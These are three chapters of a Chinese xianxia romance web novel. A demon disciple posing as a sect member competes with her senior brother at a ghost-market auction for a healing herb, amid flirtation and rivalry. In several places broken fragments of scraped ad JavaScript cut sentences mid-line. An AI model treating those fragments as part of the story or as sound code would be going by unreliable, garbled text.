他不耐烦道:“你还要什么只管说,但事后若要本座知道你阴奉阳违,必要你千倍奉还。” 程雪意笑起来,腰间银铃被风吹起,发出清脆的响声。 付萧然太阳穴忽然一疼,额头青筋突突直跳。 他看见近在咫尺的姑娘忽然张开手臂,像是要拥抱他。 他一愣,再回过神来,自己已被重重推下悬崖。 “要我答应,可以呀,圣子先去水云间里洗个澡,我就答应你啦!” 程雪意踩在悬崖边,嫌恶地拍了拍碰过他的双手,对着崖下欲要飞上来的男人说:“不照办的话,我马上回头去缠着大师兄,你不是男人嘛?你觉得我能缠住他吗?” ——噗通。 程雪意放开耳力,听到水云间深处的落水声。 可笑。 还“我是男人,并且不瞎”,嗯,是不瞎,但是个傻的。 男人都是白痴。 程雪意翻了个白眼,收好忘忧花调头就走。 时间紧任务重,没功夫在这里跟他玩了。 她走后不久,另一人到了这里,正看见一身潮湿,脸上挂彩的付萧然。 付萧然一抬头,对上来人若有所思的视线,僵硬道:“水底妖兽作乱,我既见了,便不能坐视不理,下去惩治一番,沈道君有异议?” 来人正是沈南音。 水魈祸乱毕竟是玉京神宗的内部事务,他帮忙抓了水魈之后,便准备先前往鬼市拿到修月草。 待拿到修月草,回了宗门,与师尊禀报过此事后,再仔细处理。 涉及到魔族,哪怕是玉京的内务,也不能全然放手。 “没有异议。” 沈南音嘴上这样说,但望着水云间底部湍急河水的神色,怎么都觉得意味不明。 付萧然浑身不舒服,施了法咒将自己弄干,马上问:“我妹妹呢?你一个人来这里,将我妹妹丢在哪里了?!” 他一副应激的样子。 沈南音温声安抚:“圣女与叶师兄在一起,我抓了水魈探它灵府,发现它入魔与贵宗飞舟有关,已将飞舟封锁。” “什么?”付萧然眉目一凛,“与无欲天宫的飞舟有关?不可能,飞舟是我带来的,操纵和安全一直是我亲自负责,不可能与魔有关。” “圣子稍安勿躁。我并无怪罪圣子或怀疑无欲天宫的意思。只是飞舟开出天宫,这一路肯定有不少人接触过,要一一查过才能确定魔气来源。” 沈南音稳定地说:“具体情况,圣子可以回去问叶师兄。既已寻到圣子,圣女的安危便交还到你手中。我尚有要事在身,失陪。” 无论水魈被魔化到底是为什么,是否真的有魔族逃出噬心谷作乱,那魔族的目的又是什么,姑且暂时无人伤亡,只是百姓庄稼受害。有玉京的人协助,恢复如初yeq不成问题。 玉不染还躺在碧水宫危在旦夕,沈南音必须先去拿修月草。 也许玉不染醒了,会透露些沈南音收尾时未曾发现的问题。 付萧然目送沈南音离开,神思从水魈之事里找回来后,忍不住冷笑一声。 既然有事在身,还跑这一趟干什么? 难不成还真是来找他交还妹妹? 那菁华人呢?何不直接把人送回来? 这一道真有那么顺路吗? 付萧然冰冷地扫了一眼水云间底,暗暗道:“眼光真差!” 天际边亮起一道七彩鸣凰之光,光波扩散极远,整个修界的人都能看到一二。 那是鬼市开市的讯号。 暗点交易,各种有市无价的宝物即将登场,全看你兜里的灵石够不够多。 程雪意已经顺利到达鬼市,拿沈南音的账户疯狂消费。 她购置一大批宝物和首饰,又将其全部转卖,有的甚至还因为她抢得快,全弄到了手,别人想要得加价来买。 所以她不但没亏钱,还小赚了一笔。 揣着满乾坤袋的灵石,程雪意又给自己换了衣裳和面具,心情愉悦地回到暂居的客栈。 来这一趟可真是开了眼界,不管是鬼市里的商贩还是客人都太有钱了,随随便便一样东西就要几千灵石。 要知道之前那瓶桃花醉,她是抓了鬼市中人的把柄才拿到的。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>配着其他玩意儿一起,一共才花了一千灵石,就这她的小金库便已经颗粒无存了。 难怪给她东西的时候,鬼市里那蒙面大哥语气充满了肉疼。程雪意还以为对方是演戏,一千灵石都不舍得给他,是对方歇斯底里,仿佛被她侮辱到了极致,要和她鱼死网破她才不得不妥协。 按照原本计划,她觉得只要搞到十万灵石,修月草就是囊中之物。 如今看来,还是要二十万灵石才稳妥。 所幸沈南音是真有钱,户头上的前跟花不完一样,次次刷次次有,叫她拿来赚够了二十几万。 现在他肯定没钱了吧! 把他的钱花光,看他还怎么和她抢东西。 万事俱备,只欠东风。 等拿到修月草,稳固魔气后再放出一些力量,便可以尝试进入内门,更靠近白泽图了。 五年来终于等到这么一个机会,兜里还这么有钱,再不必捉襟见肘,她对未来产生了前所未有的希望。 趁着这会儿身上感觉好了不少,她将腰间银铃摘下来,在房间内布下结界,双手结印,闭眼念出冗长法咒。 银铃随声而起,轻轻震响,不多久后,里面传出一阵急切的呼唤。 “阿姐!” 程雪意倏地睁开眼:“浮光!你可还好?” “阿姐,你总算有消息了,你——” 羽浮光话说到这里忽然开始模糊卡顿,似有什么在干扰他们交流。 程雪意不得不朝银铃多输送灵力,但她本来灵力就不稳,再多也没有了,于法阵来说杯水车薪。 她只能勉强道:“我能单独离开乾天宗的机会不多,找不到万无一失的机会,不敢和你联系。我自己被发现事小,若牵连了你们才事大。” 银铃那边没有任何回应,程雪意也没有那么着急,总归羽浮光可以好好说话,那就问题不大。 只要活着就行,活着就能解决一切问题。 眼见银铃快要支撑不住,程雪意头疼欲裂,本欲结束法阵,终于又听见羽浮光一句话。 “沈南音进来过了,毁掉了阿姐出去时用的法阵,他……” 再后面又听不清了。 银铃掉在桌上,失去光华,仿若普通铃铛一样。 程雪意汗津津地将铃铛挂回腰间,算是对沈南音在噬心谷里做了什么有了真正的了解。 毁了她出来时用的通道? 无所谓了,用都用了,她就没想过再回去继续做没有自由的囚犯,四季受噬心之苦。 那通道是娘活着时建成的,用过就会自行断绝生机,沈南音估计也无法确定是不是有魔族从里面逃走了。 他来问她那些问题,该是怀疑通道用过了。 想要摆脱他的怀疑实在是件不容易的事,但这次天助她,那入魔的水魈该叫沈南音对她彻底放心了吧? 当时她就在他身边,不但没暴露任何痕迹,反而还要被入魔的水魈吞噬,那还怎么可能与魔族有关呢? 可太无辜了。 不管到底是什么人搞出来的魔气,总归浮光没事,她也因祸得福,如此便好。 其余的容后再议。 夜幕降临,鬼市到了一天中最热闹的时刻,程雪意休息片刻,又换了衣服和面具出门。 鬼市面具是特制的,戴上之后便是静慈法宗在这里,也要费些功夫才能看到你的真面目。 面具模样还可以按心思绘制变换,随着图案转变,整个人气息也会为之改变,为的就是保障鬼市内交易者的安全。 总之就是很贴心,服务很好,程雪意很满意。 出了客栈,夜色里霓虹闪耀,无数戴面具的人行走坊市,鬼魅之影重重叠叠。 程雪意直奔头场所在位置,无意间与人擦肩而过,那人戴着雪狼面具,身量极高,一身白衣掩在黑色斗篷之下,乌黑的发丝在兜帽下微微飘荡,整个人不疾不徐,优雅从容。 淡淡的冷香扑面而来,像菡萏,还掺杂了一些檀香味,十分熟悉,只一瞬间就消失了。 错觉吗? 沈南音? 12.012 那么大一个人,眨眼间消失在人群之中,程雪意再怎么仔细搜寻都看不到半片衣角,仿佛她刚才出现了幻觉一样。 很好,这下可以确定,刚才绝对是遇见了沈南音。 鬼市很大,但前往头场的路就这么一条,会遇见他也不奇怪。 程雪意对气息和情绪非常敏锐,若非如此,也分辨不出方才遇见了沈南音。 主要还是她对他身上的味道太熟悉了。 他应该不用香,檀香是沾染了乾天宗道场的香火气,而菡萏香则来源于他的身体。 那是一种自然的体香,还记得那天晚上,越是情动,他身上的香气就越浓郁,极其涩情。 他要是哪天不做修士了,去当个小倌,该也是能做成花魁的。 先天圣体了属于是。 也只有他有那个速度,叫程雪意立马转头去找都追不上半个影子。 这么快。 可恶。 绝不能被抢了修月草。 她难得出来这一趟,有机会进入这样的场合,接触此等宝物。 这五年来她在乾天宗如履薄冰,忍着反噬努力修习乾天宗心法,好不容易有了练气五层,又费尽心机才带着阿青进了太玄宫,混熟之后有了今日的进展,绝不能失败。 程雪意用最快的速度往地图上头场市的位置赶去。 不过,她能察觉到他,他会不会也发现了她? 丑时一刻,程雪意终于赶到头场市所在地,水云间的最中央。 “今日这水云间底下可真是安静,不见什么妖兽闹腾啊。” 有围观入场的人在小声议论。 “应该是鬼市的人清理或者安抚过了吧,既然把头场市设在了那么危险的地方,自然要保障好客人的安全了。” “有可能。” 有个屁可能。 程雪意差点笑出声来。 这还不都是付萧然的功劳? 不愧是无欲天宫的圣子,一出手就能让水云间的妖兽们都安分下来,有两把刷子。 五色绚丽的琉璃桥横跨整个水云间,尽头没入密密麻麻的荆棘树丛,除了树丛里的烟雾之外,在桥的这一端看不到内里的任何情形。 程雪意一身紫衣,顶着狐狸面具挤出围观的人群,刚才说话的几人都惊讶羡慕地看着她。 “……瞧着就是个年轻姑娘,一共十张票,她竟然有一张。” “那只能说明一个问题。” “啊?” “咱们光长年纪不长本事。” “……” 程雪意踏上琉璃桥,远看这像是一座仙桥,走上去却鬼气森森,衬得桥下水云间都仿若冥河一般。 每在上面走一步,她都觉得自己生机跟着流失一分。 要是全部灵力在身,她才不在意这点试探和考验,但她现在情况不太妙,便有些撑不住。 可恶的鬼市,票是给出去了,却还对进得来头场的客人摸底。明面上说什么不探查进入头场的来人身份,不过问你买了什么,说到底还是要有所掌控。 程雪意极力克制血液的热度,面具下的脸庞几乎都要烧红了。 脸红不怕,眼睛可不能红,红了就自爆身份了。 程雪意细数着脚步,紧盯着仿佛近在咫尺却远在千里的对岸,脚底疼得快要受不了。 好疼。 好生气。 沈南音叫她疼也就算了,来个鬼市也不能轻松,程雪意真的生气了。 她伸手一抓,天空中几只扰人的怪鸟被她抓了下来。 它们丑陋的脸庞上蒙着鬼气,该是鬼市拿来起监视作用的傀儡。 程雪意一连抓了好几只扔在桥上,听它们惨叫,看它们身体发出被烧灼的烟雾,满意地踩着怪鸟的尸体一步步走到对岸。 再不让她到达,那就把这些怪鸟全抓来杀了。 施展傀儡鸟术法的鬼市中人披着黑斗篷,带着恶鬼面具,站在岸边望着走下来的程雪意。 程雪意靴子上还染着傀儡鸟的血,她惋惜地嗟叹一声,对那来兴师问罪的鬼市中人露出纯真的笑靥,哪怕面具挡着,对方似乎也领受到了这个无辜却血腥的笑容。 “真可惜,弄脏了我新买的靴子,我可是很喜欢的。” 居然不是为杀了傀儡鸟道歉,而是惋惜自己的新靴子。 “拿好了。” 程雪意将头场市的票扔给对方。 票是鬼市发出去的,正常途径发的票,是不确定来者何人的,但给乾天宗的他们特别做了标记。 本想问罪找麻烦的鬼市中人立刻偃旗息鼓。 毕竟是能弄到头场市票的人,做点什么过分的事,也不能真的把人赶出去。 更何况这还是乾天宗那两张票之一。 只不过—— 黑袍子看了看琉璃桥上惨死的傀儡鸟和血迹。 这下手也太残忍了些,这真是乾天宗那种自诩名门正派的人能干出来的事儿?? 中心岛上,被允许进入之后,荆棘树丛消失不见,出现一座异常华丽,歌舞糜丽的红楼。 红楼是字面意义上的红楼,整座高楼全用红木制成,并非凡间常说的那类红木,就只是红色的木材而已。 璀璨灯火照耀之下,红楼色彩艳丽极了,似在流血一般,每层楼前都有衣衫单薄身姿曼妙的女子和男子在跳舞,他们舞姿曼妙开放,歌声悦耳动听,程雪意仰头看了一会,总觉得他们突然亲上也不奇怪。 “客人请进。” 有手持骨灯的老者引她进入红楼。 距离头场市开市还有半个时辰,其他客人应该都到了,程雪意没在自己身后见到任何人。 她还是在桥上浪费太多时间了,沈南音恐怕早就选好位置了。 “多谢。” 程雪意有点礼貌,虽然不多就是了。 她快步走进红楼,询问老者:“我的位置在哪儿?” “客人只需站在这里,自会前往您的位置。” 一个光圈出现在一楼的中央,程雪意抬头往上看,觉得有点晕眩。 一圈又一圈,弯弯绕绕,看不到边际的高楼,在外面可不是这样的。 这是某种延展内部空间的法术吗? 程雪意走到光圈里面,不过闭眼的瞬间,周围景象已经变了三次。 几次眨眼之后,她停在一扇挂着黑绸的雕花木门前。 叮铃铃。 程雪意走起路来 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,腰间银铃撞击,她突然意识到不妥,施法将铃铛静止。 但好像还是太迟了。 眼前紧闭的门忽然自己打开了,她仰头望去,看到鬼市给头场客人准备的单独雅间里,已经有了一个人。 男人盘膝坐在几案之后,将落在窗外主场高台上的目光缓缓转了过来。 他扔披着黑色的斗篷,但摘掉了兜帽,露出雪玉发冠,流苏发带,倾斜如瀑的长发。 那张雪狼面具冰冷危险,本该配一双蓝色的锐利眸子,如今却与他光风霁月沉静温润的双眼相称,竟然别有风韵。 那双眼睛准确地落在程雪意腰间的银铃上,让她忍不住翻了个白眼。 怎么忘了这茬。 旁人或许注意不到一个普普通通的银铃铛,但沈南音对她的铃声可是非常敏感。 “你凭什么坐在我的雅间里?” 程雪意站在门口不进去,理直气壮地询问。 哪怕双方都戴着足以遮掩气息的面具,可显而易见,他们都认出了彼此。 沈南音收回目光,挽袖倒了杯茶,慢慢道:“你的票原本是给我的,会指向我的位置很正常。” “……” 无法反驳。 程雪意倒退一步:“我现在就去找人换一间。” 没走出几步,头场市开市的舞乐声便响了起来。 程雪意脚步一转,果断回了雅间,将门关好。 她走到沈南音旁边的位置坐下,摘了面具扔到一旁,端起他倒的那杯茶一饮而尽。 沈南音提醒她:“那是我用过的杯子。” 程雪意将杯子放回去,手臂往后一撑,坐姿随意到有些放肆地斜睨他:“大师兄的嘴是什么滋味我都尝过了,还避讳什么杯子呢?” 沈南音起身欲走,程雪意反而不乐意了。 知己知彼百战不殆,既然都到一起了,还要抢同一样东西,一个雅间好像也不是不行。 如此也能随时掌控沈南音的动向,正规途径抢不过,尽快尝试别的法子。 休养了一段时间,暂时压制灵脉这么一时片刻也不是太大问题。 她一把抓住他斗篷一角,使劲一拉,便将他的斗篷拉了下来。 大师兄纤尘不染的锦袍纱衣在雅间不算明亮的烛火中波光粼粼。 “跑什么。”程雪意直接倒在了铺着柔软毯子的雅间地面上,懒洋洋地将他的斗篷团成一团,抱在怀中轻轻嗅了一下。 “菡萏香。” 她意有所指地说完,伸手拨弄腰间银铃。 因为设了法咒,银铃不曾发出响声,但沈南音看到她的动作,还是身子僵硬了一瞬。 “大师兄那么怕我呀?”程雪意大眼睛忽闪忽闪地望着他。 沈南音俯视着躺在他脚边,姿势暧昧到了极点的程雪意。 他当然可以甩下她抬脚就走,她拦不住他。 可是他没有。 至少没有立刻就走。 他半蹲下来,衣袍委地,长发在背后如扇面般展开。 “程师妹。” 沈南音抓住自己的斗篷,看似轻轻一拽,实则用力很大。 “自重。” 他极为认真诚恳地说。 13.013 若说洞窟那一夜,是被始乱终弃后走极端的报复,那真相大白之后沈南音自认已经与程雪意做过了结。 当时事当时毕,他们都该将此事忘却,回归到普通同门的位置上。 观此刻程雪意的情态,显然与他持有不同想法。 沈南音面对过无数女修的示好,他太擅长拒处理这样的事情了。 他的“自重”二字说得极有水准,既能充分表达他的拒绝,也不会让程雪意感觉到被指责或羞辱。 他过于诚恳,反叫人觉得他是尊重你才这样说。 他心里上是认可她能保持风度,好聚好散的。 程雪意静静看着他脸上那张雪狼面具,纤细的手腕如他所愿将斗篷松开,在沈南音以为她听进去了的时候,换做环住他的脖颈。 不止环住,甚至用力拉着他的俯下身来。 她是躺在毯子上的,将身上的男人拉下来,这姿态怎么看怎么不对,沈南音如何都不能就范。 他稍稍用点力气,程雪意就拉不动他了,她也很聪明,马上换做去摘他的面具。 对她没必要戴面具,沈南音对这件事没那么抗拒,她轻易就成功了。 栩栩如生的雪狼面具摘下来,程雪意看见了他那张薄雾青山般的脸。 两人离得很近,近的她能清楚看到他脸上所有痕迹,也能将他眼中自己的倒影看得清清楚楚。 “大师兄。” 任凭沈南音如何拉她的手臂,她都不肯松开他的脖颈,沈南音是君子,未免弄伤她的手臂,竟一时真的脱不开身。 程雪意就喜欢他明明有能力挣脱,却又不得不为她克制的模样。 她凑到他耳边,饱含深意道:“若我不肯自重,你要如何。” 沈南音抓着她手臂的动作一顿,目光落在她脸上,看着她满脸的期待。 他很熟悉这样的神情,每一个向他示好的女修都曾露出这样期待的神色,但最终她们都会失望地离开,有的或许还会掉眼泪。 沈南音总会对她们说抱歉,但从不松口给任何余地,快刀斩乱麻。 可他有点想象不到眼前这双眼睛掉眼泪的样子。 金光拂过两人面颊,程雪意忽然自己松开了他的脖颈,沈南音倏地站起身,开门就走。 头场市正式开始,歌舞助兴之后,便是拍品登场。 程雪意坐到蒲团上,撩开衣袖看着自己的手腕,虽然沈南音极力克制,已经非常小心,但她手臂上还是留下了淡淡的青紫。 这点疼算不上什么,可在门关上之前,程雪意轻轻嘶了一声。 沈南音关门的动作立刻停下了。 透过虚掩的门缝,他看见程雪意紧蹙眉头,轻轻揉着手腕上的青紫。 他一怔,下意识看了看自己的手,有些不自然地缓缓握拳。 “今夜的第一件拍品。” 看不清脸的幽魂将高台上的天幕打开,雅间里所有的客人都能清楚看见宝物的细节。 “东海海妖万年结成一对的泪珠,用来炼器或制成首饰,都是极好的选择。” 东海地处中原,海域广阔,遍布强大的海妖。 众所周知,海妖的眼泪是世间至宝,但海妖狠毒且团结,曾有人修试图圈禁一只海妖骗取它源源不断的眼泪来谋取利益,被海妖一族灭了满门,连孩童都没放过。 处理此事的正是乾天宗大师兄,如今去而复返坐到她身边的沈南音。 他并不关注台上拍品,今日他只为修月草而来。 他的目光若有似无地落在程雪意的手臂上,她不紧不慢地将衣袖放下,托腮回望他的眼睛。 “大师兄当年杀了多少海妖?” 台上在卖海妖的泪珠,还是万年结成的一对,世间罕有,足以说明人族与海妖那次对战胜利方是谁。 自然是乾天宗,是沈南音。 “大师兄杀它们的时候,它们哭了吗?眼泪结成珍珠了吗?” 程雪意的眼神那样纯真无辜,但她问话的语气莫名激动,呼吸有些紊乱的起伏。 她目光灼灼地盯着沈南音,似乎这个答案对她很重要。 她又不是海妖,为何仿佛与海妖感同身受一样。 沈南音看了她一会,平静道:“人也好,妖也好,身负罪孽者,论罪而处。” 程雪意眨了眨眼:“论罪而处?” “害了那只海妖的人有罪该死,杀了他复仇便是。其余人是无辜的。” 程雪意明白了:“所以杀害其他无辜人族的海妖,你都杀了?” 沈南音微微皱眉:“你为何会这样想?” “虐杀孩童女子和老者的,斩无赦。其余有悔悟之心,有前情可解者,关镇妖塔。” 哦。 镇妖塔。 说来说去,又说回到了最初。 两人默契地转开视线,沈南音本想喝杯茶,但想到那茶杯程雪意用过,便又放弃了。 海妖的眼泪被喊了几次价格,第三次无人加价便要成交。程雪意意兴阑珊,等修月草等得有些烦躁不安,根本没注意听卖了多少钱,忽听身边人变换音色,加了一次价。 “三号雅间客人,十万灵石。” 幽魂热情地报数。 第一件拍品就能拍出十万灵石,真是给今日的头场市开了个好头。 幽魂喊价三次后,无人加价,高兴地宣布眼泪落入沈南音手中。 程雪意错愕地望向沈南音。 ……等等。 计划有变。 十万灵石?? 什么玩意?? 脑子里飞快换算着十万灵石,她得在太玄宫当多少年牛马才能赚到。 她现在兜里是有灵石,但也不过二十几万。 一对眼泪就拍到十万,那修月草不得拍到百万? 她好像对这些人修的有钱程度了解得还是太浅薄了。 沈南音的户头上居然还有钱! 修月草还没上来,他就花了十万来买别的! 程雪意气的头都疼了,早知道她就多洗劫一点了! 她怎么就没想到,鬼市头场内的物价居然和红楼之外相差如此悬殊? 平日里她在外门和太玄宫见识不到什么富裕修士,偶尔出任务到凡间,遇见的百姓更是穷人居多,而噬心谷……更别提了,要不是修行可以感觉不到饿,那地方鸟不拉.屎,她吃饭都成问题。 穷了太久,在这样的地方栽跟头,程雪意真是懊悔不已。 她已经走遍鬼市去了解物价了,自诩足够谨慎,还是败了。 程雪意急得一身是汗,可现在再去凑钱显然来不及。 想来想去,她咬咬唇,还是决定薅身边人的羊毛。 “大师兄出手 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 真是阔绰,想来修行多年,攒了不少灵石吧?”她先不吝啬地夸赞一下他的眼光,“大师兄拍的这对眼泪,拿来炼器,必定可以令法器升到顶级。若拿来制作防御首饰,也十分漂亮,赏心悦目。” 她打量了一下他的发冠:“嗯,镶嵌在大师兄的发冠上,与乌发相称,再合适不过。” “你觉得好看?” 沈南音这么回了一句。 程雪意认真点头:“好看呀,最适合做发饰了。” 感觉在他身上用的话,也只能用在发冠上,其余地方都显得女子气。 炼器的话,他满身都是顶级法器,哪里还用得上眼泪? 应该就是买来做什么首饰的,或许,是给付菁华准备的呢? 程雪意眼神变了变,似不经意地喃喃说道:“之前听李师兄说,大师兄要与无欲天宫的圣女成亲了,若是买来给圣女做首饰的,也很合适。” 沈南音倏然抬眸,语气莫测:“我要成亲?”他稍稍侧了一下身,“和圣女?” “我怎么不知道?” ……果然这件事不是真的。 程雪意一副眼带困惑的模样:“是那日我去找你之前,听李守道李师兄说的。” 她疯狂上眼药:“李师兄说这是他的内部消息,言语之间极其肯定,想到他是广文道君座下弟子,我也就跟着信了。” 因为信了这样的消息,还被画皮妖欺骗感情,之后做出怎样极端的事情,都情有可原吧? 程雪意一脸失魂落魄。 沈南音看了她片刻,转开视线道:“师弟的弟子。” 他在脑海中之中将这个名字对标上一张脸。 “李守道的消息不属实。我并未与任何人议亲,此生也无婚配嫁娶之意。那些风言风语,该是师弟为了给无欲天宫的人进入乾天宗寻个理由,才命座下弟子散播出去的。” 付菁华和付萧然师兄妹是帮忙修复镇妖塔的,他们身份摆在那,平日里深居简出,突然到旁的宗门来,总要找个理由。接人这件事的确交给了玉不染来办,沈南音没想到他会这么宣传。 程雪意听他解释,也明白了原委,但她心里早不在意这些了。 她琢磨着该引出借钱的话题了,这必得在修月草出来之前进行。 刚要开口,便听沈南音道:“你不必多做猜想,我拍下这对眼泪是要给你。” 程雪意以为自己听错了,使劲揉了揉耳朵:“你说什么?” 沈南音温润俊美的双眸缓缓垂下,落在她已经被衣袖掩盖的手臂上。 “我方才只想脱身,无意伤你,手上失了力道,抱歉。” 他视线上移,看着她的眼睛,认真说道:“那对眼泪,便算作赔罪。” “若你觉得做发饰好看,回宗之后我会将它制成发扣,你可以别在发辫上。” 程雪意的手不自觉地跟着他的话落在发辫尾端,那上面是一对贝壳发扣。 海妖的眼泪,自然要比普普通通的贝壳名贵漂亮得多。 程雪意失神地望着沈南音许久,拍品一件一件过去,压轴的修月草出来之前,她才找回自己的神思,重新冷静下来。 她对已经将她的沉默当做接受的沈南音道:“大师兄,首饰于我来说是身外之物,并不重要。” 她睁大眼睛,情意绵绵,神采奕奕道:“不如——折现吧?” 14.014 沈南音生平第一次给女子送礼物。 虽然是赔罪的名义,但礼物的形式并非丹药或法器,而是首饰,这是从未有过的事情。 他怎么都想不到,不久之前还在暧昧示好的师妹,这会儿却不要他的礼物,想要钱。 “你缺钱?”他没拒绝,顺着话题道,“你不是已经买了很多东西。” 程雪意在外买东西都记在他账上,他当然知道数字变动。 可那远远不够。 “是买了不少,但都加价卖给别人了,小赚了一些,加上本金,距离我想要的东西,目前看来还远远不够。” 窗外的天幕上又出现了新的拍品,红楼之中议论声纷纷而出,程雪意却全无兴趣,沈南音很快意识到她想要什么。 雪意在他脸上看到一瞬迟疑,便知他猜到她要什么了。 心有灵犀看来也不是什么好事。 “大师兄,若要赔罪,你不如投其所好。”程雪意先发制人,“海妖的眼泪固然好,但我更想要修月草。” “这罪,你还要赔吗?” 马上便要开抢,此刻也不必兜圈子了,正是直言的好时机。 他会怎么选? 程雪意心里其实已经有所成算,所以才一直觉得自己需要去“抢”。 果然,沈南音没思索多久便道:“师弟伤得很重,危在旦夕,若无修月草入药,十死无生。” 他字字恳切,试图说服程雪意:“你并非必须要它。” 程雪意脸上的情意渐渐褪去,消失得无影无踪。 此前因为一对海妖眼泪出现的心弦波动,全都收得干干净净。 “大师兄怎么就知道我并非必须要它?”程雪意目光灼灼地望着他,“若我说,没有修月草我也会死呢?” 沈南音蹙眉:“你伤在皮肉,怎么会死?” 程雪意直接笑出声来,笑声纯真无邪,灵动悦耳,就像她的铃声一样。 沈南音顿了顿,沉默下来。 程雪意手臂上的伤确实不重,他那样的高修随手就能愈合。 这伤来得也难以启齿,本就是她先去冒犯沈南音才导致。 换做她是沈南音,别说赔罪和过意不去了,她只会觉得对方受伤很解气,没再补点更厉害的手段叫他吃到教训已经非常仁慈了。 沈南音到底和她不一样。 男女的身份差异摆在那里,他又是那种即便自己占理,伤了姑娘后也只会认下全部责任的人。 这样的人太好拿捏,只要脸皮够厚,无理取闹一点也不会怎么样。 十万灵石的赔罪礼,她接触他之前,做梦都没见过这么多钱,现在都开始挑三拣四,不要礼物要折现了。 质得飞跃啊。 不管从哪个角度来看,她都该知足。 再去肖想修月草,和一个将死之人抢东西,实在说不过去。 ——理论上是这样吧。 可程雪意不能讲理。 她毕竟不是一个真正的乾天宗外门弟子。 “大师兄怎么就那么断定我没有修月草不会死?” 程雪意慢悠悠地说:“大师兄天赋卓绝,出生便在顶峰,自然不会懂我们这些底层人的难处。” “我已经入门五年了,仍然停留在练气五层。我灵根驳杂,若不能找到办法脱胎换骨,这辈子到寿元尽的时候都别想筑基。” “而乾天宗对内门弟子最低的修为要求,也是筑基。” 程雪意目不转睛地望着沈南音:“大师兄不是看过我的灵根吗?哪怕有你为我涤净一部分,它也仍然没有筑基的可能。我的气海匮乏,灵脉滞涩,是你将鬼市的票送到我面前,让我有了这辈子换个活法的机会,我怎能放弃?” “你说我没有修月草不会死,那确实,我现在不会死,但我会在不久的将来死去,那一天不会太远。在我死去之前,我还会老得满脸花纹,走不动路,一身伤病。” 程雪意站起来,一步步逼近沈南音:“这些都是大师兄不用经历的。您贵为道君,寿数无边,从不会有这样的困扰,不是吗?” 沈南音怔怔地望着她,耳边传来高台上幽魂宣告修月草正式开拍的声音。 “大师兄。”程雪意幽幽说道,“广文道君的伤也不是非得修月草才行吧?静慈法宗是他师尊,渡劫大能难道没有帮他疗伤的能力吗?非得要修月草才行吗?” 一直沉默不语的沈南音这时才道:“师弟灵脉被魔气浸染,四肢百骸皆已被魔气腐化,神魂被锁在梦魇之中,哪怕师尊出手也只能为他延续生机。想要他真正醒过来,必要靠修月草为药引,去腐生肌,锻造出他新的灵脉和身体。” ……原来伤成这样。 程雪意垂下眼去,长睫遮住了眼底的神色。 她缓缓转过身,背对着沈南音露出一个冷漠的笑容。 打得好呀浮光! 这一看就是羽浮光亲自出的手。 下次沈南音去的时候,也这样杀了他才好。 程雪意紧握双拳,磨了磨牙道:“看来大师兄是不肯退让了,很可惜,我也不打算退让。一辈子或许只有这么一个机会,我绝不会拱手让人。” “程师妹。”沈南音还在试图说服她,“事后我可以想办法为你寻其他仙草辅助修炼,甚至灌顶筑基也可。但修月草,还是要给师弟疗伤。” 两人争执这一段时间,修月草已经拍到了远超二十万灵石的价格,程雪意根本也没钱叫价。 她囊中羞涩,又被沈南音这样“劝说”,直接发飙了。 “谁稀罕你说的那些!” 先不说灌顶是不到生死一刻绝不允许使用的秘术,便是真能给她灌顶,她一个魔,难道还要受着吗? 那比降灵还要让她痛苦。 其他仙草也远没有修月草那样的功效,能遏制她真正的魔息,转化魔气为灵力而不被看穿,还能帮她修复几次逆转受损的经脉。 ……真是越想越想要,可她想要的东西似乎总是得不到。 小时候想要爹活着,她没能如愿,亲眼看他死去。 长大一些想要娘永远陪着自己,可娘也死了。 现在她想要一株修月草,一样得不到。 程雪意猛地转回身来,双目赤红地瞪着沈南音,咬唇道:“沈南音,你大可不必和我说这么多,反正我是争不过你的,我没有钱!” 修月草已经拍到一百万灵石,程雪意不想再听下去,抬脚便走。 沈南音走了一次没走成,自己回来了,但她不会。 她推门而出,身后有人追来,程雪意偏了一下头,脚步继续往前,再没看见那人靠近。 倒是可以听见他的声音。 “两百万灵石。” “……” 他回去叫价了。 做人师弟真好。 哪怕从不给他面子,总是给他惹事,出了事还是有人慷慨兜底。 不像她。 她什么都没有。 五年了,努力逃出噬心谷了,进了乾天宗,然后呢? 只是混入太玄宫这个位置已经耗费她全部心神。 她真的等不起再一个五年才能进入内门了。 白泽图。 她要怎样才能拿到白泽图? 程雪意不想再听沈南音与别人叫价争修月草,出了门便走进法阵离开红楼。 来时前呼后拥,走的时候因为什么都没拍,连个送别的人都没有。 折腾许久,天都快亮了,程雪意也没戴面具,就那么用真面目行走在坊市之中。 那些进不去头场市,等在外围看热闹的,都看到了那张毫不遮掩的美丽脸庞。 动人的姑娘眼眶绯红,怎么瞧怎么惹人怜爱,有自诩怜香惜玉的男子挡在她面前,双眼透过面具丈量她身上每一寸,视线叫人恶心。 程雪意漫不经心地望回去,听人道:“姑娘眼睛红红,是遇见了什么伤心事?” “不如说来听听,或许在下可以为姑娘解忧。” 能入鬼市的,哪怕不是头场市的客人,也都有些身手。 修士里面有点能力就自视甚高的,程雪意见过不少,眼前又是一个。 她若有所思地望着对方的面具,歪着头道:“你?” 轻轻巧巧一个字,带着不曾掩饰的质疑,成功激起了男子的好胜心。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> “怎么,姑娘觉得我做不到?”他往前一步,将程雪意挤在角落,“姑娘看不起在下?” 程雪意往后退了几步,直到退无可退才仰起头,噙笑说道:“那倒不是。我的烦恼说来简单,不过是因为没钱罢了。你有钱吗?” 男子朗笑一声,竟然意外的悦耳:“来鬼市的人最不缺的就是钱了,姑娘想要多少?” 程雪意想了想道:“五百万灵石吧。” 此话一出,面前男子立马不笑了。 程雪意反而往前一步:“怎么不笑了,不是不缺钱吗?拿不出来这么多吗?” 男子觉得她就是在耍他。 张口就是五百万,疯了啊? 但他还真不是没有。 男子眯了眯眼,不答反问道:“五百万灵石,姑娘胃口好大,那姑娘又愿意付出什么来交换呢?” 程雪意笑弯了眼眸:“你想要什么?” 男子往前一步,缓缓弯腰靠近她的脸。 程雪意没躲,视线跟着他移动。 直到他的面具快要碰到她脸颊的时候,两人的距离才猛地拉开。 